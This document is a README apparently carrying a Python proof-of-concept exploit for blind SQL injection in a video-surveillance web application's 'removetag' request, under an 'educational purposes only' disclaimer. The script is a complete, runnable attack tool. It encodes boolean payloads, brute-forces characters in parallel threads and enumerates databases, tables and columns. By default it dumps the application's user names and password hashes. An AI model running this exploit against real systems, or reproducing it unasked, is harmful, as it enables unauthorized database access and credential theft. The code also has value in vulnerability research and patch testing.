README.md
Rendering markdown...
# DISCLAIMER:
# This script is a Proof of Concept (PoC) for educational purposes only.
# Do not use it for illegal activities. The author is not responsible for any misuse.
import requests
import urllib.parse
from concurrent.futures import ThreadPoolExecutor, as_completed
import sys
import argparse
# make it pretty
ORANGE = '\033[0;33m'
GREEN = '\033[0;32m'
RESET = '\033[0m'
MAX_LENGTH = 255 # max length of names - cater for long hashed passwords
def generate_payload(offset, pos, mid, db=None, table=None, column=None, column_type=False, dump_column=False):
if dump_column and db and table and column is not None:
hex_db = db.encode().hex()
hex_table = table.encode().hex()
hex_column = column.encode().hex()
payload = (
f"(SELECT (CASE WHEN (ORD(MID((SELECT IFNULL(CAST({column} AS NCHAR),0x20) "
f"FROM {db}.{table} LIMIT {offset},1),{pos},1)) > {mid}) THEN 1 ELSE (SELECT 8684 UNION SELECT 1047) END))"
)
elif column_type and db and table and column is not None:
hex_db = db.encode().hex()
hex_table = table.encode().hex()
payload = (
f"(SELECT (CASE WHEN (ORD(MID((SELECT IFNULL(CAST(column_type AS NCHAR),0x20) "
f"FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema=0x{hex_db} "
f"AND table_name=0x{hex_table} LIMIT {offset},1),{pos},1)) > {mid}) THEN 1 ELSE (SELECT 8684 UNION SELECT 1047) END))"
)
elif column is not None and db and table:
hex_db = db.encode().hex()
hex_table = table.encode().hex()
payload = (
f"(SELECT (CASE WHEN (ORD(MID((SELECT IFNULL(CAST(column_name AS NCHAR),0x20) "
f"FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema=0x{hex_db} "
f"AND table_name=0x{hex_table} LIMIT {offset},1),{pos},1)) > {mid}) THEN 1 ELSE (SELECT 8684 UNION SELECT 1047) END))"
)
elif db and not table:
hex_db = db.encode().hex()
payload = (
f"(SELECT (CASE WHEN (ORD(MID((SELECT IFNULL(CAST(table_name AS NCHAR),0x20) "
f"FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x{hex_db} LIMIT {offset},1),{pos},1)) > {mid}) THEN 1 ELSE (SELECT 8684 UNION SELECT 1047) END))"
)
else:
payload = (
f"(SELECT (CASE WHEN (ORD(MID((SELECT IFNULL(CAST(schema_name AS NCHAR),0x20) "
f"FROM INFORMATION_SCHEMA.SCHEMATA LIMIT {offset},1),{pos},1)) > {mid}) THEN 1 ELSE (SELECT 8684 UNION SELECT 1047) END))"
)
return urllib.parse.quote(payload)
def test_char(ip, offset, pos, mid, db=None, table=None, column=None, column_type=False, dump_column=False):
url = f"http://{ip}/zm/index.php?view=request&request=event&action=removetag&tid={generate_payload(offset, pos, mid, db, table, column, column_type, dump_column)}"
try:
r = requests.get(url, timeout=5)
return r.status_code == 200
except Exception:
return False
def extract_char(ip, offset, pos, db=None, table=None, column=None, column_type=False, dump_column=False):
low = 32
high = 126
while low <= high:
mid = (low + high) // 2
if test_char(ip, offset, pos, mid, db, table, column, column_type, dump_column):
low = mid + 1
else:
high = mid - 1
if low < 32 or low > 126:
return None
return low
def extract_name(ip, offset, db=None, table=None, column=None, column_type=False, dump_column=False):
chars = [None] * MAX_LENGTH
with ThreadPoolExecutor(max_workers=MAX_LENGTH) as executor:
futures = {executor.submit(extract_char, ip, offset, pos+1, db, table, column, column_type, dump_column): pos for pos in range(MAX_LENGTH)}
for future in as_completed(futures):
pos = futures[future]
chars[pos] = future.result()
name_chars = []
for c in chars:
if c is None:
break
name_chars.append(chr(c))
return ''.join(name_chars).strip()
def extract_databases(ip):
print(f"{ORANGE}[*] Extracting all database names:{RESET}")
dbnames = []
empty_count = 0
offset = 0
while True:
dbname = extract_name(ip, offset)
if dbname == "":
empty_count += 1
if empty_count >= 1:
print(f"{ORANGE}[*] No more databases found{RESET}")
break
else:
empty_count = 0
print(dbname)
dbnames.append(dbname)
offset += 1
return dbnames
def extract_tables(ip, dbname):
print(f"\n{ORANGE}[*] Extracting tables from database '{dbname}':{RESET}")
tablenames = []
empty_count = 0
offset = 0
while True:
tablename = extract_name(ip, offset, db=dbname)
if tablename == "":
empty_count += 1
if empty_count >= 1:
print(f"{ORANGE}[*] No more tables found in database '{dbname}'{RESET}")
break
else:
empty_count = 0
print(tablename)
tablenames.append(tablename)
offset += 1
return tablenames
def extract_columns(ip, dbname, tablename):
print(f"\n{ORANGE}[*] Extracting columns from table '{tablename}' in database '{dbname}':{RESET}")
columns = []
empty_count = 0
offset = 0
while True:
col_name = extract_name(ip, offset, db=dbname, table=tablename, column=offset, column_type=False)
if col_name == "":
empty_count += 1
if empty_count >= 1:
print(f"{ORANGE}[*] No more columns found in table '{tablename}'{RESET}")
break
else:
empty_count = 0
col_type = extract_name(ip, offset, db=dbname, table=tablename, column=offset, column_type=True)
columns.append((col_name, col_type))
print(f"{col_name:<20} {col_type}")
offset += 1
return columns
def dump_column_data(ip, dbname, tablename, column):
values = []
offset = 0
while True:
value = extract_name(ip, offset, db=dbname, table=tablename, column=column, dump_column=True)
if value == "":
break
values.append(value)
offset += 1
return values
def main():
parser = argparse.ArgumentParser(description="Extract DB names, tables, columns, and dump data via blind SQLi")
parser.add_argument("-i", "--ip", required=True, help="Target IP address")
parser.add_argument("--discovery", action="store_true", help="Run full interactive discovery mode")
args = parser.parse_args()
ip = args.ip
if not args.discovery:
selected_db = "zm"
selected_table = "Users"
username_col = "Username"
password_col = "Password"
print(f"{ORANGE}[*] Enumerating database '{selected_db}.{selected_table}'{RESET}")
usernames = dump_column_data(ip, selected_db, selected_table, username_col)
passwords = dump_column_data(ip, selected_db, selected_table, password_col)
if not usernames or not passwords:
print(f"[!] Couldn't find default database settings, please try manual checks")
print(f"[*] Usage. python3 poc.py -i <ip> --discovery")
return
print(f"{GREEN}[!] Found User and Password :{RESET}")
for u, p in zip(usernames, passwords):
print(f"{u}:{p}")
return
dbnames = extract_databases(ip)
if not dbnames:
print("[!] No databases found.")
sys.exit(1)
print(f"\n{GREEN}[+] Successfully extracted database names:{RESET}")
for i, dbname in enumerate(dbnames, 1):
print(f"{i}) {dbname}")
choice = input(f"\nSelect database to enumerate tables [1-{len(dbnames)}]: ")
idx = int(choice) - 1
selected_db = dbnames[idx]
tables = extract_tables(ip, selected_db)
print(f"\n{GREEN}[+] Successfully extracted tables in database '{selected_db}':{RESET}")
for i, table in enumerate(tables, 1):
print(f"{i}) {table}")
table_choice = input(f"\nSelect table to enumerate columns [1-{len(tables)}]: ")
t_idx = int(table_choice) - 1
selected_table = tables[t_idx]
columns = extract_columns(ip, selected_db, selected_table)
print(f"\n{GREEN}[+] Columns in table '{selected_table}':{RESET}")
print(f"{'Column Name':<20} Type")
print("-" * 40)
for i, (col_name, col_type) in enumerate(columns, 1):
print(f"{i}) {col_name:<20} {col_type}")
col_choices = input(f"\nSelect columns to dump data (comma-separated) [1-{len(columns)}] or press Enter to skip: ")
if col_choices.strip():
indices = [int(i.strip()) - 1 for i in col_choices.split(',') if i.strip().isdigit()]
for idx in indices:
selected_column = columns[idx][0]
values = dump_column_data(ip, selected_db, selected_table, selected_column)
print(f"\n{ORANGE}[*] Dumping data from column '{selected_column}' in table '{selected_table}' of database '{selected_db}':{RESET}")
for v in values:
print(v)
if __name__ == "__main__":
main()